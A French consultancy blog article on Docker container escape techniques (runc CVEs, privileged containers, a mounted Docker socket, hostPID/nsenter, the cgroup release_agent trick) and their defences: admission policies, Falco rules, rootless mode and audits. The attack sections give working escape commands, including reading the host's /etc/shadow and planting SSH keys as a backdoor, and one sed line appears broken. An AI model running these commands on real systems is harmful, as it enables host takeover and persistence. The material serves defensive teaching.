Un container Docker n'est pas une machine virtuelle : il partage le kernel Linux de l'hôte. Une seule erreur de configuration — container privilégié, socket Docker monté en volume, namespaces PID ou réseau partagés, capabilities trop larges comme CAP_SYS_ADMIN — suffit à un attaquant pour franchir la frontière d'isolation et prendre le contrôle du système hôte en quelques secondes. En 2026, le paysage s'est durci : nouvelles CVE sur runc et containerd, abus de la délégation cgroup v2, détournement de /proc et des montages hérités, exploitation des chaînes CI/CD où le daemon Docker est exposé. Ce panorama container escape 2026 techniques Docker passe en revue les vecteurs réellement exploités en production, leurs prérequis techniques et les signaux de détection associés, puis les contre-mesures concrètes : mode rootless, seccomp, AppArmor, user namespaces et politiques d'admission Kubernetes.

La sécurité des containers repose sur une hypothèse fondamentale : l'isolation par les namespaces Linux suffit à confiner un processus. En réalité, le container escape — l'art de s'évader d'un environnement conteneurisé pour atteindre le système hôte — reste l'une des menaces les plus critiques en environnement cloud-native. Les techniques de container escape docker 2026 exploitent aussi bien des vulnérabilités connues comme CVE-2024-21626 (runc) que des mauvaises configurations courantes : containers privilégiés, sockets Docker exposés, namespaces partagés. Contrairement à une VM qui virtualise le hardware complet, un container partage le même kernel Linux que l'hôte — ce point de partage constitue la surface d'attaque. Comprendre ces vecteurs est indispensable pour tout architecte cloud, ingénieur DevSecOps ou responsable sécurité qui déploie des workloads conteneurisés en production.

À retenir

  • Container ≠ VM : un container partage le kernel de l'hôte ; une faille kernel ou une mauvaise config suffit à briser l'isolation.
  • CVE-2024-21626 : la vulnérabilité runc de 2024 permet une fuite de descripteur de fichier donnant accès au système de fichiers hôte — patchez runc >= 1.1.12 immédiatement.
  • --privileged = compromission hôte : un container privilégié peut monter /dev/sda, charger des modules kernel et s'échapper trivialement.
  • Docker socket monté = root sur l'hôte : exposer /var/run/docker.sock dans un container équivaut à donner un accès root non contrôlé à l'hôte.
  • Défenses combinées : rootless Docker + seccomp + AppArmor + Falco + admission policies OPA sont les piliers d'une posture défensive efficace en 2026.

En pratique, les incidents que nous traitons révèlent que l'écart entre politiques de sécurité documentées et application réelle est presque toujours plus grand que prévu. La vérification terrain régulière reste la seule façon de mesurer ce delta.

— Retour terrain, Ayi NEDJIMI Consultants

Architecture de l'isolation container : pourquoi le kernel est le talon d'Achille

Pour comprendre pourquoi le container escape est possible, il faut saisir ce que Docker isole — et ce qu'il ne peut pas isoler. La conteneurisation repose sur six primitives Linux : les namespaces (PID, network, mount, UTS, IPC, user), les cgroups pour la limitation de ressources, et les capabilities Linux qui fragmentent les privilèges root. Ces mécanismes créent l'illusion d'un système isolé, mais tous partagent un seul et même kernel.

Contrairement à l'hyperviseur d'une VM (KVM, VMware, Hyper-V) qui isole jusqu'au niveau du matériel, un container s'exécute en espace utilisateur sur le kernel hôte. Toute vulnérabilité kernel — escalade de privilèges locale, race condition, débordement de tampon dans un syscall — peut être exploitée depuis un container non restreint. Les techniques de container escape modern exploitent précisément ces frontières floues : le kernel partagé, les cgroups mal configurés, et les capacités Linux accordées par défaut ou en excès.

En 2024 et 2025, plusieurs CVE critiques ont rappelé que même les runtimes de containers éprouvés comme runc ne sont pas immunisés. Les équipes de sécurité doivent adopter une approche defense in depth qui ne se limite pas à mettre à jour le daemon Docker, mais qui couvre l'ensemble de la chaîne : image, runtime, orchestrateur et monitoring.

CVE-2019-5736 et CVE-2024-21626 : quand runc devient la porte de sortie

Le runtime runc, utilisé par Docker, containerd et Podman, a été au cœur de deux vulnérabilités majeures qui illustrent parfaitement le modèle de menace du container escape.

CVE-2019-5736 est la première vulnérabilité runc critique publiée. Elle permettait à un attaquant contrôlant un container de réécrire le binaire runc sur l'hôte, obtenant ainsi une exécution de code arbitraire avec les privilèges root au prochain lancement de container. L'exploitation nécessitait que l'attaquant puisse exécuter du code dans un container — condition fréquente dans les environnements d'exécution de code non fiable (CI/CD, sandboxes). Le vecteur : runc ouvrait le binaire runc lui-même via /proc/self/exe pour re-exécuter certaines opérations, et une race condition permettait de substituer ce descripteur de fichier. Le correctif a nécessité de réécrire la gestion des descripteurs de fichiers dans runc et a été intégré dans runc 1.0-rc6.

CVE-2024-21626, découverte en janvier 2024 et publiée par Snyk, est la résurgence la plus critique de ce type de vulnérabilité. Elle affecte runc <= 1.1.11 et exploite une fuite de descripteur de fichier (file descriptor leak) dans le processus de démarrage de container. Lors du lancement, runc maintient un descripteur de fichier pointant vers le répertoire de travail interne. Si ce descripteur n'est pas correctement fermé avant que le processus container démarre, un attaquant peut l'utiliser pour traverser vers le système de fichiers de l'hôte via /proc/self/fd/<n>/../../... Le score CVSS est de 8.6 (élevé). La remédiation est de mettre à jour runc vers la version 1.1.12 ou supérieure. Pour vérifier votre version :

# Vérifier la version de runc installée
runc --version
# Sortie attendue : runc version 1.1.12 ou supérieure pour être protégé contre CVE-2024-21626

# Sur un système Docker, vérifier via docker info
docker info | grep -i runc

# Identifier les systèmes vulnérables sur un cluster Kubernetes
kubectl get nodes -o wide
# Sur chaque nœud, vérifier la version du container runtime
crictl version

D'autres CVE notables affectant l'écosystème container en 2024-2025 incluent CVE-2024-23651 (BuildKit, race condition lors du montage dans les builds multi-stage, score CVSS 7.4), CVE-2024-23653 (BuildKit, bypass de validation GRPC permettant d'exécuter des containers avec des capacités arbitraires), et CVE-2025-23226 affectant containerd dans les versions antérieures à 1.7.18, permettant une fuite d'information sur le système de fichiers hôte via des liens symboliques malformés. Ces vulnérabilités soulignent l'importance de maintenir à jour l'ensemble de la pile container runtime, pas uniquement Docker Engine.

Pour une référence complète sur ces CVE, consultez la base NVD du NIST et les releases officielles de runc sur GitHub.

Containers privilégiés : quand --privileged ouvre toutes les portes

Le flag --privileged de Docker est sans doute la mauvaise configuration la plus dangereuse et la plus répandue. Il désactive pratiquement toutes les protections du système : les capabilities Linux sont toutes accordées, les appels système Seccomp ne sont plus filtrés, AppArmor n'est plus appliqué, et tous les devices de l'hôte sont montables depuis le container. En pratique, un container privilégié peut monter le disque hôte, charger des modules kernel et compromettre l'ensemble du système.

# Détection : identifier les containers privilégiés en cours d'exécution
docker ps -q | xargs docker inspect --format '{{.Name}} {{.HostConfig.Privileged}}' | grep true

# TECHNIQUE D'ATTAQUE (environnement de lab autorisé uniquement)
# Dans un container lancé avec --privileged :

# Étape 1 : lister les devices disponibles (on voit les disques de l'hôte)
ls /dev/sd*

# Étape 2 : monter le disque hôte
mkdir /tmp/hostfs
mount /dev/sda1 /tmp/hostfs

# Étape 3 : chroot vers le système hôte
chroot /tmp/hostfs /bin/bash

# On est maintenant root sur l'hôte avec accès complet au système de fichiers
cat /tmp/hostfs/etc/shadow
# Lecture du fichier shadow de l'HÔTE — container escape réussi

# Étape 4 (persistance) : ajouter une clé SSH dans authorized_keys de l'hôte
echo "ssh-rsa AAAA..." >> /tmp/hostfs/root/.ssh/authorized_keys

Cette technique est documentée dans le framework MITRE ATT&CK sous la technique T1611 (Escape to Host). Le check de sécurité minimal est d'interdire --privileged via une politique d'admission. Si un container doit avoir des capacités étendues, utiliser --cap-add pour accorder uniquement les capabilities réellement nécessaires (par exemple, NET_ADMIN pour du réseau avancé) plutôt que d'activer tout le mode privilégié.

Docker socket monté : escalade triviale vers root hôte

Monter le socket Unix de Docker (/var/run/docker.sock) dans un container est une pratique courante — souvent pour permettre à des outils comme Portainer, Jenkins ou des pipelines CI/CD de lancer d'autres containers. C'est aussi l'une des escalades de privilèges les plus triviales qui soit.

# Détection : containers avec accès au socket Docker
docker ps -q | xargs docker inspect --format '{{.Name}}: {{range .Mounts}}{{if eq .Source "/var/run/docker.sock"}}DOCKER_SOCK_MOUNTED{{end}}{{end}}'

# TECHNIQUE D'ATTAQUE (environnement de lab autorisé uniquement)
# Depuis l'intérieur d'un container avec /var/run/docker.sock monté :

# Vérifier si le socket est accessible
ls -la /var/run/docker.sock

# Lancer un nouveau container privilégié qui monte la racine de l'hôte
docker run -it --privileged -v /:/hostroot alpine chroot /hostroot /bin/sh

# Alternative avec l'API Docker via curl (sans binaire docker installé)
curl -s --unix-socket /var/run/docker.sock   -X POST "http://localhost/containers/create"   -H "Content-Type: application/json"   -d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/hostroot"],"Privileged":true}}'

# Le container créé monte tout le système de fichiers hôte — escape complet

La règle est absolue : ne jamais monter /var/run/docker.sock dans un container de production. Pour les cas légitimes (monitoring, CI), utiliser un proxy Docker sécurisé comme docker-socket-proxy qui limite les opérations autorisées via une liste blanche.

hostPID et hostNetwork : partage de namespaces comme vecteur d'attaque

Les flags --pid=host et --network=host (ou leurs équivalents Kubernetes hostPID: true / hostNetwork: true) suppriment les namespaces PID et réseau respectivement, donnant au container une visibilité directe sur les processus et interfaces réseau de l'hôte.

# ABUS DE hostPID (environnement de lab autorisé uniquement)
# Dans un container lancé avec --pid=host :

# Lister tous les processus de l'hôte (pas seulement ceux du container)
ps auxf | grep -v docker

# Injection de mémoire dans un processus hôte via /proc/PID/mem
# Trouver le PID de sshd sur l'hôte
host_sshd_pid=$(ps aux | grep '[s]shd' | head -1 | awk '{print $2}')

# Lire la mémoire du processus hôte
cat /proc/${host_sshd_pid}/maps

# Avec hostPID + nsenter : entrer dans le namespace de l'hôte
nsenter -t 1 -m -u -i -n -p -- /bin/bash
# On exécute maintenant un shell dans les namespaces du PID 1 (init de l'hôte) — escape complet

# Kubernetes : détecter les pods avec hostPID
kubectl get pods -A -o json | jq '.items[] | select(.spec.hostPID==true) | .metadata.name'

L'abus de hostNetwork permet le sniffing de trafic sur les interfaces hôte, l'accès aux services non exposés (metadata API des cloud providers comme 169.254.169.254), et les attaques de type ARP spoofing sur le réseau hôte. Ces configurations doivent être explicitement interdites par les politiques d'admission dans Kubernetes. Consultez notre guide sur les erreurs de configuration RBAC Kubernetes critiques pour les patterns associés.

cgroup v2 escape : la technique notify_on_release

La technique d'escape via les cgroups exploite le mécanisme notify_on_release qui permet d'exécuter un script arbitraire sur l'hôte lorsqu'un cgroup devient vide. Cette technique est utilisable depuis un container privilégié et illustre comment les fonctionnalités légitimes du kernel peuvent être détournées en vecteurs d'attaque.

# Container escape via cgroup notify_on_release (technique Felix Wilhelm)
# Prérequis : container lancé avec --privileged
# (environnement de lab autorisé uniquement)

# Étape 1 : monter le cgroup memory dans le container
mkdir /tmp/escape
mount -t cgroup -o memory cgroup /tmp/escape

# Étape 2 : créer un sous-cgroup et activer notify_on_release
mkdir /tmp/escape/x
echo 1 > /tmp/escape/x/notify_on_release

# Étape 3 : récupérer le chemin absolu du container sur l'hôte via /etc/mtab
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*//p' /etc/mtab)

# Étape 4 : définir le release_agent qui pointera vers notre payload
echo "$host_path/cmd" > /tmp/escape/release_agent

# Étape 5 : créer le payload (exécuté sur l'HÔTE en tant que root)
cat > /cmd << 'EOF'
#!/bin/sh
# Ce script s'exécute sur l'HÔTE avec les privilèges root
id > /tmp/escape_output
cat /etc/shadow >> /tmp/escape_output
# Backdoor : ajouter une clé SSH
mkdir -p /root/.ssh
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
EOF
chmod 755 /cmd

# Étape 6 : déclencher le release_agent
# En mettant le processus courant dans le cgroup puis en le tuant
sh -c "echo \$\$ > /tmp/escape/x/cgroup.procs"
sleep 1
# Le cgroup devient vide, release_agent s'exécute sur l'HÔTE

# Vérification : le fichier de sortie est créé sur l'hôte
cat /tmp/escape_output  # Contient 'uid=0(root)' — exécution hôte confirmée

Avec cgroup v2 (désormais default sur Ubuntu 22.04+, RHEL 9, Debian 12), la surface d'attaque évolue. Le fichier cgroup.events remplace partiellement notify_on_release, mais des variantes d'exploitation ont été démontrées. La mitigation principale est de ne jamais utiliser --privileged et d'appliquer une politique seccomp qui bloque les appels système de montage (mount, unshare).

Seccomp et AppArmor : quand les profils manquants deviennent des ouvertures

Seccomp (Secure Computing Mode) et AppArmor sont deux mécanismes de défense complémentaires qui limitent respectivement les appels système disponibles et les accès aux fichiers/réseau depuis un container. Docker applique un profil seccomp par défaut qui bloque environ 44 appels système dangereux, mais ce profil peut être insuffisant ou absent dans certains contextes.

# Vérifier si un container tourne avec seccomp désactivé
docker inspect  | jq '.[0].HostConfig.SecurityOpt'
# Si la sortie contient "seccomp=unconfined", le container est sans restriction seccomp

# Appels système critiques absents du profil default Docker qui peuvent être exploités :
# - ptrace : permet de débugger/injecter dans d'autres processus
# - keyctl : accès au trousseau de clés kernel
# - bpf : chargement de programmes eBPF (potentiellement dangereux)
# - perf_event_open : side-channel attacks (Spectre/Meltdown variants)

# Bypass AppArmor : détecter profil non appliqué
cat /proc/1/attr/current  # Dans le container, montre le profil AppArmor actif
# "unconfined" = pas de profil AppArmor appliqué

# Créer un profil seccomp restrictif minimal
cat > /etc/docker/seccomp-strict.json << 'EOF'
{
  "defaultAction": "SCMP_ACT_ERRNO",
  "architectures": ["SCMP_ARCH_X86_64"],
  "syscalls": [
    {
      "names": ["accept", "bind", "connect", "read", "write", "open", "close",
                "stat", "fstat", "mmap", "mprotect", "munmap", "brk", "exit_group"],
      "action": "SCMP_ACT_ALLOW"
    }
  ]
}
EOF

# Lancer un container avec profil seccomp strict
docker run --security-opt seccomp=/etc/docker/seccomp-strict.json myapp

CVE-2022-0492 illustre parfaitement l'interaction entre seccomp et cgroups : cette vulnérabilité permettait à un container sans seccomp d'utiliser unshare(CLONE_NEWCGROUP) pour manipuler les cgroups hôte. Sans profil seccomp bloquant unshare, l'isolation est compromise. L'OWASP Container Security Top 10 liste l'absence de profils seccomp comme l'une des dix vulnérabilités les plus critiques en environnement container.

Supply chain et image poisoning : la menace invisible depuis les registries

Le container escape ne requiert pas toujours une exploitation technique sophistiquée. L'empoisonnement d'images de base (image poisoning) et les attaques de supply chain permettent à un attaquant d'introduire du code malveillant directement dans les images utilisées en production, sans jamais avoir à briser l'isolation runtime.

Les vecteurs d'attaque supply chain les plus courants incluent : typosquatting de noms d'images sur Docker Hub (ex: ubuntuú vs ubuntu), compromission de comptes de mainteneurs d'images officielles, injection de backdoors dans des layers d'images via des dépendances compromises, et manipulation de tags mutable (:latest pouvant pointer vers n'importe quelle image).

# Audit supply chain : vérifier la provenance des images

# 1. Scanner les images avec Trivy pour CVE et secrets exposés
trivy image --severity HIGH,CRITICAL nginx:latest

# 2. Vérifier les signatures Cosign (standard Sigstore)
cosign verify --certificate-identity=https://github.com/nginx   --certificate-oidc-issuer=https://token.actions.githubusercontent.com   nginx:latest

# 3. Inspecter les layers d'une image pour détecter du code suspect
docker history --no-trunc nginx:latest | head -20
# Chercher des RUN curl | bash, wget | sh — red flags typiques

# 4. Comparer le digest SHA256 de l'image avec la source officielle
docker inspect nginx:latest | jq '.[0].RepoDigests'
# Comparer avec le digest publié sur https://hub.docker.com

# 5. Bloquer les images non signées via policy Docker Content Trust
export DOCKER_CONTENT_TRUST=1
docker pull nginx:latest  # Échoue si l'image n'est pas signée avec Notary/TUF

# 6. Politique OPA pour imposer les registries autorisés uniquement
# (voir section OPA/Gatekeeper ci-dessous)

Pour approfondir les défenses supply chain, notre article sur la sécurité de la supply chain applicative couvre les pratiques SBOM (Software Bill of Materials) et les frameworks SLSA.

Tableau récapitulatif : vecteurs d'attaque et contre-mesures

Vecteur d'attaqueCVE / TechniqueSévéritéContre-mesure principale
runc file descriptor leakCVE-2024-21626Élevée (8.6)Mettre à jour runc >= 1.1.12
runc binary overwriteCVE-2019-5736Critique (8.6)runc >= 1.0-rc6, no-new-privileges
Container privilégié--privileged flagCritiquePolitique OPA/Gatekeeper, PSA Restricted
Docker socket monté-v /var/run/docker.sockCritiqueInterdire via admission policy ; docker-socket-proxy
cgroup notify_on_releaseTechnique Felix WilhelmÉlevéeSeccomp bloquant mount/unshare ; non-privileged
hostPID / hostNetworkPod spec misconfigurationÉlevéePSA Restricted, OPA/Gatekeeper, nsenter blocké
Seccomp absentCVE-2022-0492Élevée (7.8)Profil seccomp strict, AppArmor enforcing
Image poisoningSupply chain attackCritiqueContent Trust, Cosign, Trivy scanning, registry privé
BuildKit race conditionCVE-2024-23651Élevée (7.4)BuildKit >= 0.12.5

Politiques OPA/Gatekeeper : interdire les configurations dangereuses à l'admission

Open Policy Agent (OPA) avec Gatekeeper permet d'appliquer des politiques de sécurité au niveau de l'admission Kubernetes, avant que les Pods ne soient créés. C'est la ligne de défense la plus efficace contre les mauvaises configurations car elle agit avant l'exécution.

# Politique OPA/Gatekeeper : interdire les containers privilégiés
apiVersion: constraints.gatekeeper.sh/v1beta1
kind: K8sPSPPrivilegedContainer
metadata:
  name: no-privileged-containers
spec:
  match:
    kinds:
    - apiGroups: [""]
      kinds: ["Pod"]
  # S'applique à tous les namespaces sauf kube-system
  excludedNamespaces: ["kube-system"]
# ConstraintTemplate Rego : bloquer hostPID, hostNetwork, hostIPC
apiVersion: templates.gatekeeper.sh/v1beta1
kind: ConstraintTemplate
metadata:
  name: k8sblockhostaccessnamespaces
spec:
  crd:
    spec:
      names:
        kind: K8sBlockHostAccessNamespaces
  targets:
  - target: admission.k8s.gatekeeper.sh
    rego: |
      package k8sblockhostaccessnamespaces
      violation[{"msg": msg}] {
        input.review.object.spec.hostPID == true
        msg := "hostPID est interdit — risque d'escape via nsenter"
      }
      violation[{"msg": msg}] {
        input.review.object.spec.hostNetwork == true
        msg := "hostNetwork est interdit — risque de sniffing et accès metadata API"
      }
      violation[{"msg": msg}] {
        input.review.object.spec.hostIPC == true
        msg := "hostIPC est interdit — risque d'accès à la mémoire partagée hôte"
      }
# Règle Falco : détecter le socket Docker monté dans un container
- rule: Docker Socket Mounted in Container
  desc: Container avec accès au socket Docker de l'hôte
  condition: >
    container and
    fd.name = "/var/run/docker.sock" and
    evt.type = open
  output: >
    Socket Docker monté dans container détecté (user=%user.name
    container=%container.name image=%container.image.repository
    pod=%k8s.pod.name ns=%k8s.ns.name)
  priority: CRITICAL
  tags: [container, privilege_escalation, T1611]

# Règle Falco : détecter une tentative de montage dans un container
- rule: Container Mount Suspicious
  desc: Tentative de montage depuis l'intérieur d'un container
  condition: >
    container and
    evt.type = mount and
    not proc.name in (known_mount_binaries)
  output: >
    Montage suspect dans container (user=%user.name
    container=%container.name mount_type=%evt.arg.type
    mount_source=%evt.arg.source)
  priority: HIGH
  tags: [container, escape_attempt, cgroup]

Ces politiques s'intègrent dans le cadre des outils de sécurité Kubernetes 2025 que nous recommandons en production. Pour une couverture complète, consultez également notre livre blanc sécurité Kubernetes.

Rootless Docker, distroless et gVisor : défenses en profondeur

La posture défensive contre le container escape repose sur plusieurs couches complémentaires. Voici les quatre piliers techniques pour 2026.

Rootless Docker (User Namespaces) : en lançant le daemon Docker en mode rootless, le démon et les containers s'exécutent sous un utilisateur non privilégié. Un escape depuis le container ne donne accès qu'à cet utilisateur restreint, pas à root. Depuis Docker 20.10, rootless est stable en production. Ubuntu 22.04 et RHEL 9 le supportent nativement.

# Installer et configurer Docker en mode rootless
dockerd-rootless-setuptool.sh install
export DOCKER_HOST=unix://$XDG_RUNTIME_DIR/docker.sock

# Vérifier que le daemon tourne sous un UID non-root
ps aux | grep dockerd
# uid=1000 — pas de root

# User namespaces Kubernetes (depuis 1.35, stable en 2026)
# Voir article dédié : /articles/kubernetes-1-35-user-namespaces

Images distroless et scratch : les images distroless (Google) contiennent uniquement l'application et ses dépendances runtime, sans shell, sans gestionnaire de paquets, sans binaires système. En l'absence de /bin/bash ou /bin/sh, de nombreuses techniques d'escape post-exploitation deviennent impossibles. L'image scratch va encore plus loin — elle est vide, idéale pour les binaires Go statiquement compilés.

# Multi-stage build avec image distroless finale
FROM golang:1.22 AS builder
WORKDIR /app
COPY . .
RUN CGO_ENABLED=0 GOOS=linux go build -o myapp ./cmd/server/

# Image finale distroless — pas de shell, pas de outils système
FROM gcr.io/distroless/static:nonroot
COPY --from=builder /app/myapp /myapp
# User 65532 (nonroot) dans les images distroless
USER nonroot:nonroot
ENTRYPOINT ["/myapp"]

gVisor et Kata Containers : pour les workloads nécessitant une isolation forte (exécution de code utilisateur, sandboxing), gVisor (Google) et Kata Containers offrent une isolation supplémentaire. gVisor implémente un kernel Linux en espace utilisateur (runsc runtime) qui intercepte tous les syscalls avant qu'ils atteignent le kernel hôte. Kata Containers utilisent une micro-VM légère pour chaque container, réintroduisant une vraie isolation hyperviseur. Ces solutions ont un coût en performance (20-30% pour gVisor sur certains workloads) mais sont appropriées pour les environnements multi-tenants.

Falco, Sysdig et Tetragon (eBPF) : la détection en temps réel est indispensable car aucune configuration n'est parfaite. Falco (CNCF) est le standard de facto pour la détection comportementale dans les containers. Sysdig Secure ajoute une couche commerciale avec corrélation d'événements et réponse automatisée. Tetragon (Cilium/Isovalent) utilise eBPF pour une visibilité kernel-level avec des performances minimales — il peut bloquer des syscalls spécifiques en temps réel, pas uniquement alerter. En 2026, l'association Falco + Tetragon constitue une défense particulièrement efficace contre les tentatives d'escape. Pour en savoir plus sur Falco, consultez la documentation officielle Falco.

Comment auditer votre infrastructure container contre ces risques ?

Un audit de sécurité container structuré couvre plusieurs niveaux : configuration du daemon Docker, politiques d'images, configuration des workloads Kubernetes, monitoring runtime. Voici la checklist de base pour évaluer votre exposition :

# Audit rapide Docker : script de vérification des points critiques

echo "=== Vérification version runc ==="
runc --version | grep -E "runc version [0-9]+"
# Attendre >= 1.1.12

echo "=== Containers privilégiés actifs ==="
docker ps -q | xargs -I{} docker inspect {} --format='{{.Name}}: privileged={{.HostConfig.Privileged}}' | grep true

echo "=== Sockets montés ==="
docker ps -q | xargs -I{} docker inspect {} --format='{{.Name}}: {{range .Mounts}}{{if eq .Source "/var/run/docker.sock"}}DOCKER_SOCK{{end}}{{end}}' | grep DOCKER_SOCK

echo "=== Containers sans profil seccomp ==="
docker ps -q | xargs -I{} docker inspect {} --format='{{.Name}}: seccomp={{index .HostConfig.SecurityOpt 0}}' | grep -v seccomp

echo "=== Images sans digest fixé (tag mutable) ==="
docker ps --format '{{.Image}}' | grep -v '@sha256'

echo "=== User courant du daemon ==="
ps aux | grep '[d]ockerd' | awk '{print "PID="$2, "USER="$1}'

Pour un audit complet de votre infrastructure cloud et container, nos experts peuvent réaliser un audit de sécurité complet de votre infrastructure conteneurs. Pour les environnements Kubernetes avancés, notre service de RSSI externalisé intègre le monitoring continu des politiques d'admission et la revue des configurations runtime. Consultez également notre livre blanc pentest cloud AWS/Azure/GCP pour les spécificités de chaque cloud provider.

Questions fréquentes

Quelle est la différence entre un container escape et une escalade de privilèges classique ?

Une escalade de privilèges classique se produit à l'intérieur d'un système (utilisateur → root sur la même machine). Un container escape franchit la frontière d'isolation pour atteindre le système hôte depuis l'intérieur du container. En pratique, les deux se combinent souvent : l'attaquant obtient d'abord du code exécution dans un container (via une vulnérabilité applicative), puis exploite une mauvaise configuration pour sortir du container et compromettre l'hôte.

CVE-2024-21626 est-elle toujours exploitable en 2026 sur des systèmes non mis à jour ?

Oui. CVE-2024-21626 affecte toutes les versions de runc antérieures à 1.1.12. Si votre daemon Docker n'a pas été mis à jour depuis janvier 2024, vous êtes potentiellement vulnérable. La vérification est simple : runc --version. Sur Kubernetes, vérifier la version de containerd et runc sur chaque nœud avec crictl version. La mise à jour est le seul correctif — aucun workaround ne comble totalement cette CVE sans patcher runc.

Est-il possible de se protéger contre le container escape même avec un container qui nécessite des privilèges élevés ?

Oui, mais cela demande une approche granulaire. Plutôt que d'utiliser --privileged, accordez uniquement les capabilities Linux nécessaires avec --cap-add (ex: NET_ADMIN pour du réseau, SYS_PTRACE pour du debugging). Combinez avec un profil seccomp strict autorisant seulement les syscalls requis, et AppArmor en mode enforcing. Un audit des capabilities réellement utilisées par l'application avec strace -e trace=all permet de construire un profil minimal précis.

Comment détecter une tentative de container escape en temps réel ?

Falco avec ses règles par défaut détecte la majorité des techniques connues : montage de cgroups, accès au socket Docker, utilisation de nsenter, chargement de modules kernel. Pour une couverture plus profonde, Tetragon (eBPF) surveille les syscalls au niveau kernel avec une latence quasi-nulle et peut bloquer activement certains appels suspects. Les indicateurs clés à monitorer sont : mount syscall depuis un container, accès à /proc/sysrq-trigger, unshare avec CLONE_NEWCGROUP, et toute écriture dans /proc/1/.

Les images distroless protègent-elles réellement contre le container escape ?

Les images distroless réduisent significativement la surface de post-exploitation mais ne préviennent pas l'escape lui-même. Un container privilégié en distroless peut toujours monter /dev/sda — il manque simplement les outils pour le faire facilement. L'attaquant devra apporter ses propres binaires statiques. La valeur des distroless réside dans la réduction drastique des CVE de packages système (souvent 90%+ de CVE en moins) et dans la limitation du mouvement latéral post-compromise. Elles font partie d'une stratégie defense-in-depth, pas d'une solution autonome.

Les techniques présentées dans cet article sont destinées à des fins éducatives et d'audit de sécurité dans des environnements autorisés uniquement. L'exploitation de ces techniques sur des systèmes sans autorisation explicite du propriétaire est illégale et passible de poursuites pénales. Tout test de sécurité doit être réalisé dans un cadre contractuel défini avec les parties prenantes concernées.

Conclusion

Ce sujet s'inscrit dans un contexte de menaces en constante évolution. La meilleure protection combine veille active, audits réguliers et sécurité by design. Pour approfondir ou évaluer votre exposition, consultez nos experts.

Votre infrastructure Docker ou Kubernetes est-elle exposée à ces vecteurs d'attaque ? Nos experts réalisent un audit de sécurité complet de votre configuration container — revue des manifests, politiques d'admission, monitoring runtime et recommandations priorisées.